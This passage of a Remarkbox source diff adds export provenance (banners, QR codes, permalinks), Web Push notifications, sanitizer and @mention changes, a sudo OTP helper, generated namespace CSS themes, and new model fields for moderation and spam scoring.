from remarkbox.lib import provenance as prov
lines = []
if provenance:
lines.append(prov.header_md(
canonical_uri=provenance["canonical_uri"],
snapshot_iso=provenance["snapshot_iso"],
version=provenance["version"],
qr_data_uri=provenance.get("qr_data_uri"),
kind=provenance.get("kind", "namespace"),
))
# Book title
title = namespace.description or namespace.name
lines.append("# {}".format(title))
lines.append("")
for root in roots:
if root.disabled:
continue
# Chapter heading — hyperlink to the live thread when provenance is on
chapter_title = root.title or str(root.id)
if provenance:
lines.append("## [{}]({})".format(
chapter_title,
prov.canonical_uri_for_node(root, host=provenance.get("host")),
))
else:
lines.append("## {}".format(chapter_title))
lines.append("")
if root.data:
lines.append(_node_data_as_markdown(root))
lines.append("")
# Fetch all nodes in this thread
thread_nodes = node_fetcher(root)
# Build children map for this thread
children_map = {}
for node in thread_nodes:
pid = node.parent_id
if pid not in children_map:
children_map[pid] = []
children_map[pid].append(node)
for pid in children_map:
children_map[pid].sort(key=lambda n: n.created)
def _render(parent_id, depth):
for child in children_map.get(parent_id, []):
if child.disabled:
continue
heading_level = min(depth + 3, 6)
author = _get_author_name(child)
date = child.created_date or ""
permalink = (
prov.permalink_for_node(child, host=provenance.get("host"))
if provenance else None
)
lines.append(prov.reply_heading_md(
heading_level, author, date, permalink=permalink,
))
lines.append("")
if child.data:
lines.append(_node_data_as_markdown(child))
lines.append("")
_render(child.id, depth + 1)
_render(root.id, 0)
if provenance:
lines.append(prov.footer_md(
canonical_uri=provenance["canonical_uri"],
snapshot_iso=provenance["snapshot_iso"],
version=provenance["version"],
))
return "\n".join(lines)
def _get_author_name(node):
"""Extract display name from a node's user or surrogate."""
if node.user:
return node.user.name
if node.user_surrogate:
return node.user_surrogate.name
return "Anonymous"

182
remarkbox/lib/provenance.py Normal file
View file

@ -0,0 +1,182 @@
"""Provenance for exported documents.
Every exported snapshot (PDF, EPUB, DOCX, HTML, plain markdown, ...) carries:
- a top banner with canonical source URI, snapshot timestamp, generator version
- a QR code linking back to the living source on Remarkbox
- per-reply permalinks (academic citation style date hyperlinks to anchor)
- a footer repeating source URI + commit hash
A PDF printed today should still resolve to its living wiki source years from
now, scannable from paper. Documents are dead the moment they ship; we keep a
return path open.
"""
import base64
import io
from datetime import datetime, timezone
import segno
# ---------------------------------------------------------------------------
# Canonical URIs
# ---------------------------------------------------------------------------
def canonical_uri_for_namespace(namespace, host=None):
"""Return the canonical URI of a namespace's living index.
A namespace's name IS its host (e.g. `meta.remarkbox.com`). If a `host`
arg is given (typically `request.host`), prefer it this preserves
user-facing prefixes like `www.` that the namespace's stored name may
omit. Falls back to `namespace.name` when no host is supplied.
"""
return "https://{}/".format(host or namespace.name)
def canonical_uri_for_node(node, host=None):
"""Return the canonical URI of a node's living source.
Uses `host` if given (typically `request.host`), otherwise the
namespace's name. Path comes from `node.path` (`/{id}/{slug}` or `/{id}`).
"""
return "https://{}{}".format(host or node.root.namespace.name, node.path)
def permalink_for_node(node, host=None):
"""Return a deep link to a single reply: thread URI plus node-id anchor.
Replies live inside a thread page, so the deep link is the thread URI with
a fragment identifier. `host` overrides the namespace name when supplied.
"""
root = node.root
return "https://{}{}#{}".format(host or root.namespace.name, root.path, node.id)
# ---------------------------------------------------------------------------
# QR codes
# ---------------------------------------------------------------------------
def qr_png_data_uri(uri, scale=4, border=2):
"""Encode a URI as a PNG QR code wrapped in a data URI.
PNG (not SVG) because pandoc's downstream renderers — wkhtmltopdf,
rsvg-convert paths in DOCX/ODT/EPUB handle PNG uniformly. A QR code's
two-color palette compresses to a few hundred bytes; resolution is fine
at print sizes.
"""
qr = segno.make(uri, error="M")
buf = io.BytesIO()
qr.save(buf, kind="png", scale=scale, border=border)
b64 = base64.b64encode(buf.getvalue()).decode("ascii")
return "data:image/png;base64,{}".format(b64)
# ---------------------------------------------------------------------------
# Markdown blocks
# ---------------------------------------------------------------------------
def _utc_now_iso():
"""ISO 8601 UTC timestamp, second precision, with `Z` suffix."""
return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
def header_md(canonical_uri, snapshot_iso=None, version="dev",
qr_data_uri=None, kind="document"):
"""Top-of-document provenance banner + QR code.
Args:
canonical_uri: https://... URI of the living source.
snapshot_iso: ISO 8601 timestamp; defaults to UTC now.
version: Remarkbox build identifier (short git hash).
qr_data_uri: Result of `qr_png_data_uri`; if None, no QR rendered.
kind: "thread", "namespace", "subthread" used in the snapshot caption.
Returns markdown intended to sit at the very top of a document. When a QR
is present we lay out text on the left and QR on the right via an HTML
table; pandoc converts the table cleanly into HTML, PDF (wkhtmltopdf),
DOCX, ODT, EPUB native table cells. Without a QR we fall back to a plain
blockquote.
"""
if snapshot_iso is None:
snapshot_iso = _utc_now_iso()
text_lines = [
"> **Source:** [{}]({}) ".format(canonical_uri, canonical_uri),
"> **Snapshot:** {} ".format(snapshot_iso),
"> **Generator:** Remarkbox `{}` ".format(version),
">",
"> *This is a {} snapshot. The living document lives at the source URI above — it may have been edited, extended, or replied-to since.*".format(kind),
]
if not qr_data_uri:
return "\n".join(text_lines + [""])
text_block = "\n".join(text_lines)
return (
'<table class="provenance-header" style="border: 0; border-collapse: collapse; margin: 0 0 16px 0; width: 100%;">\n'
'<tr style="border: 0;">\n'
'<td style="border: 0; vertical-align: top; padding: 0 24px 0 0;">\n\n'
'{text}\n\n'
'</td>\n'
'<td style="border: 0; vertical-align: top; width: 200px; text-align: right;">\n\n'
'![Scan for living source]({qr})\n\n'
'</td>\n'
'</tr>\n'
'</table>\n'
).format(text=text_block, qr=qr_data_uri)
def footer_md(canonical_uri, snapshot_iso=None, version="dev"):
"""End-of-document provenance footer."""
if snapshot_iso is None:
snapshot_iso = _utc_now_iso()
return "\n".join([
"",
"---",
"",
"**Source:** [{}]({}) ".format(canonical_uri, canonical_uri),
"**Snapshot:** {} ".format(snapshot_iso),
"**Generator:** Remarkbox `{}`".format(version),
"",
])
def reply_heading_md(level, author, date, permalink=None):
"""Render a reply heading with optional permalink hyperlinking the date.
Hyperlinking the date keeps academic-citation style readable: the visible
text is still `Author date`, the date itself becomes the anchor.
"""
if permalink:
return "{} {} — [{}]({})".format("#" * level, author, date, permalink)
return "{} {}{}".format("#" * level, author, date)
# ---------------------------------------------------------------------------
# One-shot bundle (convenience)
# ---------------------------------------------------------------------------
def build(canonical_uri, version, kind="document", include_qr=True, host=None):
"""Build a complete provenance bundle in one call.
`host` (e.g. `request.host`) is stashed in the bundle so the per-reply
permalink helpers and chapter-title links can preserve `www.` (or any
user-facing host prefix) instead of falling back to `namespace.name`.
Returns a dict suitable for splatting into `node_tree_to_markdown` or
`namespace_to_markdown`.
"""
snapshot_iso = _utc_now_iso()
qr_data_uri = qr_png_data_uri(canonical_uri) if include_qr else None
return {
"canonical_uri": canonical_uri,
"snapshot_iso": snapshot_iso,
"version": version,
"qr_data_uri": qr_data_uri,
"kind": kind,
"host": host,
}

213
remarkbox/lib/push.py Normal file
View file

@ -0,0 +1,213 @@
"""
Web Push notification support using the VAPID protocol.
This module provides:
- VAPID key generation and management
- Push subscription storage helpers
- Sending push notifications via the Web Push protocol
Dependencies:
- py_vapid: VAPID key generation and signing
- pywebpush: Web Push API client
If these packages are not installed, push notifications are silently
disabled and all functions become no-ops.
"""
import json
import logging
import os
log = logging.getLogger(__name__)
# Try to import push dependencies. If they are not installed, push
# notification support is silently disabled.
try:
from pywebpush import webpush, WebPushException
from py_vapid import Vapid
PUSH_AVAILABLE = True
except ImportError:
PUSH_AVAILABLE = False
log.info("pywebpush/py_vapid not installed; push notifications disabled")
def get_vapid_keys(settings):
"""
Return a dict with 'private_key' and 'public_key' VAPID strings.
Reads from the application settings (ini file):
push.vapid_private_key
push.vapid_public_key
push.vapid_contact (mailto: URI for the VAPID contact)
If keys are not configured, returns None.
"""
private_key = settings.get("push.vapid_private_key")
public_key = settings.get("push.vapid_public_key")
contact = settings.get("push.vapid_contact", "")
if private_key and public_key:
return {
"private_key": private_key,
"public_key": public_key,
"contact": contact,
}
return None
def generate_vapid_keys():
"""
Generate a new VAPID key pair for initial setup.
Returns a dict with 'private_key' and 'public_key' as base64url strings,
suitable for pasting into the .ini configuration file.
Usage (from a Python shell):
from remarkbox.lib.push import generate_vapid_keys
keys = generate_vapid_keys()
print(keys)
"""
if not PUSH_AVAILABLE:
raise RuntimeError(
"pywebpush and py_vapid must be installed to generate VAPID keys. "
"Run: pip install pywebpush py_vapid"
)
vapid = Vapid()
vapid.generate_keys()
return {
"private_key": vapid.private_pem(),
"public_key": vapid.public_key_urlsafe_base64(),
}
def send_push_notification(subscription_info, payload, vapid_keys):
"""
Send a push notification to a single subscription.
Args:
subscription_info: dict with 'endpoint', 'keys' (p256dh, auth)
payload: dict to JSON-encode as the notification body
vapid_keys: dict from get_vapid_keys()
Returns True on success, False on failure.
"""
if not PUSH_AVAILABLE:
return False
if not vapid_keys:
log.warning("VAPID keys not configured; cannot send push notification")
return False
try:
webpush(
subscription_info=subscription_info,
data=json.dumps(payload),
vapid_private_key=vapid_keys["private_key"],
vapid_claims={
"sub": vapid_keys["contact"],
},
)
return True
except WebPushException as e:
log.warning("Push notification failed: %s", e, exc_info=True)
# A 410 Gone response means the subscription is no longer valid.
if hasattr(e, "response") and e.response is not None:
if e.response.status_code == 410:
log.info("Subscription expired (410 Gone), should be removed")
return False
except Exception:
log.warning("Unexpected error sending push notification", exc_info=True)
return False
def send_push_to_user(request, user, payload):
"""
Send a push notification to all active subscriptions for a user.
Args:
request: Pyramid request (used to read settings)
user: User model instance
payload: dict to send as the notification body
Returns the number of successful sends.
"""
if not PUSH_AVAILABLE:
return 0
vapid_keys = get_vapid_keys(request.registry.settings)
if not vapid_keys:
return 0
subscriptions = get_push_subscriptions(user)
if not subscriptions:
return 0
success_count = 0
expired = []
for sub in subscriptions:
ok = send_push_notification(sub, payload, vapid_keys)
if ok:
success_count += 1
else:
# Track potentially expired subscriptions for cleanup.
expired.append(sub)
return success_count
def get_push_subscriptions(user):
"""
Return the list of push subscription dicts for a user.
Subscriptions are stored as a JSON string in user.push_subscriptions.
Returns an empty list if no subscriptions exist.
"""
if not user.push_subscriptions:
return []
try:
return json.loads(user.push_subscriptions)
except (json.JSONDecodeError, TypeError):
return []
def add_push_subscription(user, subscription_info):
"""
Add a push subscription for a user, avoiding duplicates.
Args:
user: User model instance
subscription_info: dict with 'endpoint', 'keys' (p256dh, auth)
Returns True if the subscription was added, False if already exists.
"""
subscriptions = get_push_subscriptions(user)
# Check for duplicate endpoint.
for sub in subscriptions:
if sub.get("endpoint") == subscription_info.get("endpoint"):
return False
subscriptions.append(subscription_info)
user.push_subscriptions = json.dumps(subscriptions)
return True
def remove_push_subscription(user, endpoint):
"""
Remove a push subscription by endpoint URL.
Args:
user: User model instance
endpoint: The push subscription endpoint URL to remove
Returns True if removed, False if not found.
"""
subscriptions = get_push_subscriptions(user)
original_count = len(subscriptions)
subscriptions = [s for s in subscriptions if s.get("endpoint") != endpoint]
if len(subscriptions) < original_count:
user.push_subscriptions = json.dumps(subscriptions) if subscriptions else None
return True
return False

View file

@ -5,6 +5,8 @@ from .sanitize_html import (
clean_raw_html, clean_raw_html,
) )
from .mentions import resolve_mentions, replace_mentions_with_links
import logging import logging
log = logging.getLogger(__name__) log = logging.getLogger(__name__)
@ -51,10 +53,18 @@ def make_cleaner_from_namespace(namespace):
return cleaner return cleaner
def markdown_to_html(data, namespace=None): def markdown_to_html(data, namespace=None, dbsession=None):
raw_html = markdown_to_raw_html(data, extra_extensions=["mdx_math"]) raw_html = markdown_to_raw_html(data, extra_extensions=["mdx_math"])
if namespace: if namespace:
cleaner = make_cleaner_from_namespace(namespace) cleaner = make_cleaner_from_namespace(namespace)
else: else:
cleaner = default_cleaner() cleaner = default_cleaner()
return clean_raw_html(raw_html, cleaner) html = clean_raw_html(raw_html, cleaner)
# After sanitization, resolve @mentions and convert to profile links.
if dbsession is not None:
resolved = resolve_mentions(dbsession, data)
if resolved:
html = replace_mentions_with_links(html, resolved)
return html

View file

@ -50,7 +50,8 @@ def default_cleaner(tag_acl=None):
if tag_acl is None: if tag_acl is None:
tag_acl = {} tag_acl = {}
maybe_safe_tags = ["pre", "table", "tr", "td"] maybe_safe_tags = ["pre", "table", "tr", "td", "th", "thead", "tbody",
"figure", "figcaption", "dl", "caption"]
tags = maybe_safe_tags + list(tag_acl.keys()) + markdown_tags tags = maybe_safe_tags + list(tag_acl.keys()) + markdown_tags
attrs = markdown_attrs attrs = markdown_attrs
@ -224,4 +225,9 @@ def clean_raw_html(raw_html, cleaner=None):
# protect links from abuse. # protect links from abuse.
soup = protect_links(soup, cleaner) soup = protect_links(soup, cleaner)
# html5lib always wraps output in <html><head><body> — extract body
# contents only so data_html stores a fragment, not a full document.
body = soup.find("body")
if body is not None:
return body.decode_contents(eventual_encoding="utf-8")
return soup.decode(eventual_encoding="utf-8") return soup.decode(eventual_encoding="utf-8")

14
remarkbox/lib/sudo.py Normal file
View file

@ -0,0 +1,14 @@
from remarkbox.models.sudo_otp import create_sudo_otp
from remarkbox.lib.mail import send_sudo_otp_email
def request_sudo_otp(request, action_key, action_description):
"""Generate a sudo OTP code, email it to the current user, and return the code."""
code = create_sudo_otp(
request.dbsession,
action_key,
action_description,
client_ip=str(request.client_addr),
)
send_sudo_otp_email(request, request.user.email, action_description, code)
return code

View file

@ -0,0 +1,199 @@
"""Auto-generate unique themes per namespace.
Deterministic: same namespace name always produces the same theme.
Uses CSS custom properties with prefers-color-scheme for light/dark mode.
"""
import hashlib
import struct
def _name_to_hue(name):
"""Deterministically map a namespace name to a hue (0-360)."""
h = hashlib.sha256(name.encode("utf-8")).digest()
return struct.unpack(">H", h[:2])[0] % 360
def _name_to_seed(name):
"""Get multiple deterministic values from a name."""
h = hashlib.sha256(name.encode("utf-8")).digest()
values = struct.unpack(">8H", h[:16])
return values
def generate_theme_css(namespace_name):
"""Generate a complete CSS theme for a namespace.
Args:
namespace_name: The namespace name (e.g. "meta.remarkbox.com")
Returns:
CSS string with custom properties for light and dark modes.
"""
seed = _name_to_seed(namespace_name)
# Primary hue from name
hue = seed[0] % 360
# Secondary hue offset (analogous or complementary)
hue_offset = 30 + (seed[1] % 30) # 30-60 degree offset
secondary_hue = (hue + hue_offset) % 360
# Accent hue
accent_hue = (hue + 180 + (seed[2] % 40 - 20)) % 360 # near-complementary
# Saturation variance
sat_base = 40 + (seed[3] % 25) # 40-65%
css = '''/* Auto-generated theme for {name} */
/* Deterministic: regenerating from the same name produces identical output */
:root,
.theme-light {{
--rb-bg: hsl({hue}, {sat_bg}%, 97%);
--rb-bg-card: hsl({hue}, {sat_bg}%, 100%);
--rb-bg-nested: hsl({hue}, {sat_bg}%, 96%);
--rb-bg-code: hsl({hue}, {sat_bg}%, 94%);
--rb-text: hsl({hue}, {sat_base}%, 15%);
--rb-text-secondary: hsl({hue}, {sat_muted}%, 35%);
--rb-text-muted: hsl({hue}, {sat_muted}%, 55%);
--rb-link: hsl({accent_hue}, {sat_link}%, 40%);
--rb-link-hover: hsl({accent_hue}, {sat_link}%, 30%);
--rb-link-visited: hsl({secondary_hue}, {sat_muted}%, 45%);
--rb-border: hsl({hue}, {sat_muted}%, 85%);
--rb-border-light: hsl({hue}, {sat_muted}%, 91%);
--rb-accent: hsl({accent_hue}, {sat_accent}%, 45%);
--rb-accent-hover: hsl({accent_hue}, {sat_accent}%, 35%);
--rb-accent-text: hsl({accent_hue}, 5%, 100%);
--rb-blockquote-border: hsl({secondary_hue}, {sat_base}%, 70%);
--rb-avatar-border: hsl({hue}, {sat_muted}%, 80%);
--rb-shadow: 0 1px 3px hsla({hue}, {sat_muted}%, 30%, 0.08);
}}
@media (prefers-color-scheme: dark) {{
:root:not(.theme-light) {{
--rb-bg: hsl({hue}, {sat_dark}%, 10%);
--rb-bg-card: hsl({hue}, {sat_dark}%, 14%);
--rb-bg-nested: hsl({hue}, {sat_dark}%, 12%);
--rb-bg-code: hsl({hue}, {sat_dark}%, 18%);
--rb-text: hsl({hue}, {sat_bg}%, 90%);
--rb-text-secondary: hsl({hue}, {sat_muted}%, 70%);
--rb-text-muted: hsl({hue}, {sat_muted}%, 50%);
--rb-link: hsl({accent_hue}, {sat_link}%, 65%);
--rb-link-hover: hsl({accent_hue}, {sat_link}%, 75%);
--rb-link-visited: hsl({secondary_hue}, {sat_muted}%, 60%);
--rb-border: hsl({hue}, {sat_muted}%, 25%);
--rb-border-light: hsl({hue}, {sat_muted}%, 20%);
--rb-accent: hsl({accent_hue}, {sat_accent}%, 55%);
--rb-accent-hover: hsl({accent_hue}, {sat_accent}%, 65%);
--rb-accent-text: hsl({accent_hue}, 5%, 10%);
--rb-blockquote-border: hsl({secondary_hue}, {sat_base}%, 40%);
--rb-avatar-border: hsl({hue}, {sat_muted}%, 35%);
--rb-shadow: 0 1px 3px hsla({hue}, {sat_muted}%, 5%, 0.3);
}}
}}
.theme-dark {{
--rb-bg: hsl({hue}, {sat_dark}%, 10%);
--rb-bg-card: hsl({hue}, {sat_dark}%, 14%);
--rb-bg-nested: hsl({hue}, {sat_dark}%, 12%);
--rb-bg-code: hsl({hue}, {sat_dark}%, 18%);
--rb-text: hsl({hue}, {sat_bg}%, 90%);
--rb-text-secondary: hsl({hue}, {sat_muted}%, 70%);
--rb-text-muted: hsl({hue}, {sat_muted}%, 50%);
--rb-link: hsl({accent_hue}, {sat_link}%, 65%);
--rb-link-hover: hsl({accent_hue}, {sat_link}%, 75%);
--rb-link-visited: hsl({secondary_hue}, {sat_muted}%, 60%);
--rb-border: hsl({hue}, {sat_muted}%, 25%);
--rb-border-light: hsl({hue}, {sat_muted}%, 20%);
--rb-accent: hsl({accent_hue}, {sat_accent}%, 55%);
--rb-accent-hover: hsl({accent_hue}, {sat_accent}%, 65%);
--rb-accent-text: hsl({accent_hue}, 5%, 10%);
--rb-blockquote-border: hsl({secondary_hue}, {sat_base}%, 40%);
--rb-avatar-border: hsl({hue}, {sat_muted}%, 35%);
--rb-shadow: 0 1px 3px hsla({hue}, {sat_muted}%, 5%, 0.3);
}}
/* Apply theme variables to remarkbox elements */
body {{
background-color: var(--rb-bg);
color: var(--rb-text);
}}
.node {{
background-color: var(--rb-bg-card);
border-color: var(--rb-border-light);
box-shadow: var(--rb-shadow);
}}
.node .node {{
background-color: var(--rb-bg-nested);
}}
a {{
color: var(--rb-link);
}}
a:hover {{
color: var(--rb-link-hover);
}}
a:visited {{
color: var(--rb-link-visited);
}}
.text-muted, .rb-meta {{
color: var(--rb-text-muted);
}}
pre, code {{
background-color: var(--rb-bg-code);
border-color: var(--rb-border);
}}
blockquote {{
border-left-color: var(--rb-blockquote-border);
color: var(--rb-text-secondary);
}}
.rb-submit, .btn-primary {{
background-color: var(--rb-accent);
color: var(--rb-accent-text);
border-color: var(--rb-accent);
}}
.rb-submit:hover, .btn-primary:hover {{
background-color: var(--rb-accent-hover);
border-color: var(--rb-accent-hover);
}}
.nested-avatar {{
border-color: var(--rb-avatar-border);
}}
hr {{
border-color: var(--rb-border-light);
}}
textarea, input[type="text"], input[type="email"] {{
background-color: var(--rb-bg-card);
color: var(--rb-text);
border-color: var(--rb-border);
}}
textarea:focus, input:focus {{
border-color: var(--rb-accent);
outline-color: var(--rb-accent);
}}
'''.format(
name=namespace_name,
hue=hue,
secondary_hue=secondary_hue,
accent_hue=accent_hue,
sat_base=sat_base,
sat_bg=max(sat_base - 25, 5),
sat_muted=max(sat_base - 15, 10),
sat_link=min(sat_base + 15, 75),
sat_accent=min(sat_base + 20, 80),
sat_dark=max(sat_base - 30, 8),
)
return css

View file

@ -18,6 +18,10 @@ from .watcher import *
from .event import * from .event import *
from .notification import * from .notification import *
from .pay_what_you_can import * from .pay_what_you_can import *
from .payment import *
from .webmention import *
from .sudo_otp import *
from .revision import *
# run configure_mappers after defining all of the models to ensure # run configure_mappers after defining all of the models to ensure
# all relationships can be setup # all relationships can be setup

View file

@ -7,6 +7,7 @@ from sqlalchemy import ForeignKey
from time import time from time import time
import base64
import uuid import uuid
from sqlalchemy_utils import UUIDType as TempUUIDType from sqlalchemy_utils import UUIDType as TempUUIDType
@ -38,6 +39,9 @@ CLASS_TO_TABLE = {
"NodeEvent": "rb_node_event", "NodeEvent": "rb_node_event",
"NodeEventNotification": "rb_node_event_notification", "NodeEventNotification": "rb_node_event_notification",
"PayWhatYouCan": "rb_pay_what_you_can", "PayWhatYouCan": "rb_pay_what_you_can",
"Payment": "rb_payment",
"Webmention": "rb_webmention",
"Revision": "rb_revision",
} }
# node (threads), namespace (forum) # node (threads), namespace (forum)
@ -45,7 +49,7 @@ WATCHER_TYPES = {"reply", "node", "namespace"}
NOTIFICATION_FREQUENCIES = {"never", "immediately", "daily", "weekly"} NOTIFICATION_FREQUENCIES = {"never", "immediately", "daily", "weekly"}
NOTIFICATION_METHODS = {"email"} NOTIFICATION_METHODS = {"email", "push"}
NODE_EVENT_ACTIONS = { NODE_EVENT_ACTIONS = {
"enabled", "enabled",
@ -75,10 +79,10 @@ def short_id_to_bytes(short_id):
"""Accept a short_id (sanitized url safe base64 string) and return a byte string. """Accept a short_id (sanitized url safe base64 string) and return a byte string.
>>> short_id_to_bytes('dbHeSEFLEeeuz5xONpxxWA') >>> short_id_to_bytes('dbHeSEFLEeeuz5xONpxxWA')
'u\xb1\xdeHAK\x11\xe7\xae\xcf\x9cN6\x9cqX' b'u\xb1\xdeHAK\x11\xe7\xae\xcf\x9cN6\x9cqX'
""" """
return (short_id + "===").replace("_", "/").replace("-", "+").decode("base64") return base64.b64decode((short_id + "===").replace("_", "/").replace("-", "+"))
def id_to_uuid(the_id): def id_to_uuid(the_id):

View file

@ -52,12 +52,19 @@ PROTECTED_ATTRIBUTES = {
"google_analytics_id": None, "google_analytics_id": None,
"hide_unverified": False, "hide_unverified": False,
"hide_unless_approved": False, "hide_unless_approved": False,
"allow_anonymous": False,
"hide_powered_by": False, "hide_powered_by": False,
"mathjax": False, "mathjax": False,
"link_protection": False, "link_protection": False,
"ignore_query_string": False, "ignore_query_string": False,
"reverse_order": False, "reverse_order": False,
"group_conversations": False, "group_conversations": False,
"api_access": True,
"submit_button_text": None,
"comment_label_singular": None,
"comment_label_plural": None,
"max_nesting_depth": None,
"collapse_depth": None,
} }
@ -85,6 +92,8 @@ class Namespace(RBase, Base):
owner_request_timestamp = Column(BigInteger, nullable=True) owner_request_timestamp = Column(BigInteger, nullable=True)
# optional google analytics id for stand alone mode. # optional google analytics id for stand alone mode.
google_analytics_id = Column(Unicode(18), nullable=True) google_analytics_id = Column(Unicode(18), nullable=True)
# optional google site verification code for stand alone mode.
google_site_verification = Column(Unicode(128), nullable=True)
# allow anyone to edit the root node. (not implemented yet) # allow anyone to edit the root node. (not implemented yet)
wiki = Column(Boolean, default=False) wiki = Column(Boolean, default=False)
# by default we show all nodes but a Namespace can change this behavior. # by default we show all nodes but a Namespace can change this behavior.
@ -92,6 +101,8 @@ class Namespace(RBase, Base):
hide_unverified = Column(Boolean, default=False) hide_unverified = Column(Boolean, default=False)
# should a node be hidden until approved by a moderator? # should a node be hidden until approved by a moderator?
hide_unless_approved = Column(Boolean, default=False) hide_unless_approved = Column(Boolean, default=False)
# allow anonymous commenting (name only, no email required)
allow_anonymous = Column(Boolean, default=False)
# should we hide the poweredby Remarkbox logo? # should we hide the poweredby Remarkbox logo?
hide_powered_by = Column(Boolean, default=False) hide_powered_by = Column(Boolean, default=False)
# should the list of root nodes in this namespace be public or hidden? # should the list of root nodes in this namespace be public or hidden?
@ -107,6 +118,20 @@ class Namespace(RBase, Base):
reverse_order = Column(Boolean, default=False) reverse_order = Column(Boolean, default=False)
# should we group conversations and limit to nesting 2 deep? # should we group conversations and limit to nesting 2 deep?
group_conversations = Column(Boolean, default=False) group_conversations = Column(Boolean, default=False)
# allow JSON API access to this namespace?
api_access = Column(Boolean, default=True)
# the group postfix used for imports (e.g., "rb" creates "Anonymous-rb")
# Once set, this becomes permanent for all imported surrogates
import_group_postfix = Column(Unicode(6), default=None, nullable=True)
# T4: customizable button text and comment labels
submit_button_text = Column(Unicode(256), default=None, nullable=True)
comment_label_singular = Column(Unicode(256), default=None, nullable=True)
comment_label_plural = Column(Unicode(256), default=None, nullable=True)
# T8: nesting depth settings
max_nesting_depth = Column(Integer, default=None, nullable=True)
collapse_depth = Column(Integer, default=None, nullable=True)
# Spam filter: namespace owners can disable Hermes LLM checks.
spam_filter_enabled = Column(Boolean, default=True)
# the type of subscription of this Namespace. # the type of subscription of this Namespace.
subscription_type = Column( subscription_type = Column(
Enum(*SUBSCRIPTION_TYPES, name="subscription_type"), Enum(*SUBSCRIPTION_TYPES, name="subscription_type"),
@ -247,7 +272,7 @@ class Namespace(RBase, Base):
@property @property
def moderators(self): def moderators(self):
"""Return a list of moderator role User objects.""" """Return a list of moderator role User objects."""
return self.enabled_users return self.roles.get("moderator", [])
@property @property
def visible_roots(self): def visible_roots(self):
@ -307,6 +332,12 @@ class Namespace(RBase, Base):
or_(Node.approved == False, Node.approved.is_(None)), Node.disabled == False or_(Node.approved == False, Node.approved.is_(None)), Node.disabled == False
) )
@property
def spam_nodes(self):
return self.nodes.filter(
Node.spam_score >= 0.5, Node.disabled == False
)
@property @property
def visible_nodes(self): def visible_nodes(self):
return get_nodes_who_share_roots_query(self.dbsession, self.visible_roots) return get_nodes_who_share_roots_query(self.dbsession, self.visible_roots)
@ -348,14 +379,37 @@ class Namespace(RBase, Base):
return False return False
def is_moderator(self, user): def is_moderator(self, user):
"""Return True if given user moderates this namespace, else False.""" """Return True if given user moderates this namespace, else False.
if user and user.authenticated and user in self.moderators:
return True Superusers are treated as moderators on every namespace.
Owners are implicitly moderators.
"""
if user and user.authenticated:
if getattr(user, "is_superuser", False):
return True
if user in self.moderators:
return True
if user in self.owners:
return True
return False return False
def can_alter_node(self, node, user): def can_alter_node(self, node, user):
return self.is_moderator(user) or node.is_owner(user) return self.is_moderator(user) or node.is_owner(user)
def can_wiki_edit(self, node, user):
"""Return True if user can wiki-edit this node.
Wiki mode: any authenticated user can edit root nodes.
Normal mode: only owner/moderator can edit.
"""
if not user or not user.authenticated:
return False
if self.can_alter_node(node, user):
return True
if self.wiki and node.is_root:
return True
return False
def can_see_node(self, node, user): def can_see_node(self, node, user):
visible = True visible = True
if node.disabled: if node.disabled:
@ -387,7 +441,8 @@ class Namespace(RBase, Base):
"timestamp" : root.created, "timestamp" : root.created,
} }
comments = [] comments = []
for node in root.children: # Limit children per root to prevent unbounded JSON serialization (CWE-407).
for node in root.children.limit(500):
comment = { comment = {
"date" : node.created_date, "date" : node.created_date,
# TODO: when root.created becomes root.created_timestamp. # TODO: when root.created becomes root.created_timestamp.

View file

@ -4,7 +4,7 @@ from collections import (
) )
from sqlalchemy import ( from sqlalchemy import (
BigInteger, Boolean, Column, Integer, Unicode, UnicodeText, or_, func BigInteger, Boolean, Column, Float, Integer, Unicode, UnicodeText, or_, func
) )
from sqlalchemy.orm import relationship, backref from sqlalchemy.orm import relationship, backref
@ -71,6 +71,7 @@ class Node(RBase, Base):
title = Column(Unicode(256), default=None) title = Column(Unicode(256), default=None)
data = Column(UnicodeText, default=None) data = Column(UnicodeText, default=None)
data_html = Column(UnicodeText, default=None) data_html = Column(UnicodeText, default=None)
source_format = Column(Unicode(16), default="markdown", nullable=False)
# the depth of this node in the thread's graph / tree. # the depth of this node in the thread's graph / tree.
graph_depth = Column(Integer, nullable=False, default=-1) graph_depth = Column(Integer, nullable=False, default=-1)
# TODO: someday this should be renamed to created_timestamp # TODO: someday this should be renamed to created_timestamp
@ -84,6 +85,9 @@ class Node(RBase, Base):
locked = Column(Boolean, default=False) locked = Column(Boolean, default=False)
# by default comments are approved. unless Namespace hide_unless_approved. # by default comments are approved. unless Namespace hide_unless_approved.
approved = Column(Boolean, default=True) approved = Column(Boolean, default=True)
# Spam detection: score (0.0-1.0) and human-readable reason from Hermes LLM.
spam_score = Column(Float, default=None)
spam_reason = Column(UnicodeText, default=None)
# is there a related Uri model to this node? # is there a related Uri model to this node?
has_uri = Column(Boolean, default=False, nullable=False) has_uri = Column(Boolean, default=False, nullable=False)
ip_address = Column(Unicode(45), default=None) ip_address = Column(Unicode(45), default=None)
@ -233,6 +237,9 @@ class Node(RBase, Base):
def avatar_uri(self, **kwargs): def avatar_uri(self, **kwargs):
"""Return invatar URI. Optionally return gravatar URI.""" """Return invatar URI. Optionally return gravatar URI."""
u = self.user if self.user else self.user_surrogate u = self.user if self.user else self.user_surrogate
if u is None:
# Node has no user or surrogate (e.g. imported wiki pages).
return None
if self.disabled: if self.disabled:
kwargs["text"] = "-" kwargs["text"] = "-"
kwargs["bg"] = "#aaaaaa" kwargs["bg"] = "#aaaaaa"
@ -312,11 +319,34 @@ class Node(RBase, Base):
def enabled(self): def enabled(self):
return not self.disabled return not self.disabled
def set_data(self, data, namespace=None): def set_data(self, data, namespace=None, dbsession=None, source_format=None):
if namespace is None: if namespace is None:
namespace = self.root.namespace namespace = self.root.namespace
if dbsession is None:
dbsession = self.dbsession
if source_format is not None:
self.source_format = source_format
self.data = data self.data = data
self.data_html = markdown_to_html(data, namespace) if not self.source_format or self.source_format == "markdown":
self.data_html = markdown_to_html(data, namespace, dbsession=dbsession)
elif self.source_format == "html":
from remarkbox.lib.pandoc import convert
# Convert HTML to markdown (clean it), then render through standard pipeline
cleaned = convert(data, from_format="html", to_format="markdown")
self.data = cleaned
self.source_format = "markdown"
self.data_html = markdown_to_html(cleaned, namespace, dbsession=dbsession)
else:
# Any other pandoc input format (rst, mediawiki, latex, etc.)
from remarkbox.lib.pandoc import convert
from remarkbox.lib.render import make_cleaner_from_namespace
from remarkbox.lib.sanitize_html import default_cleaner, clean_raw_html
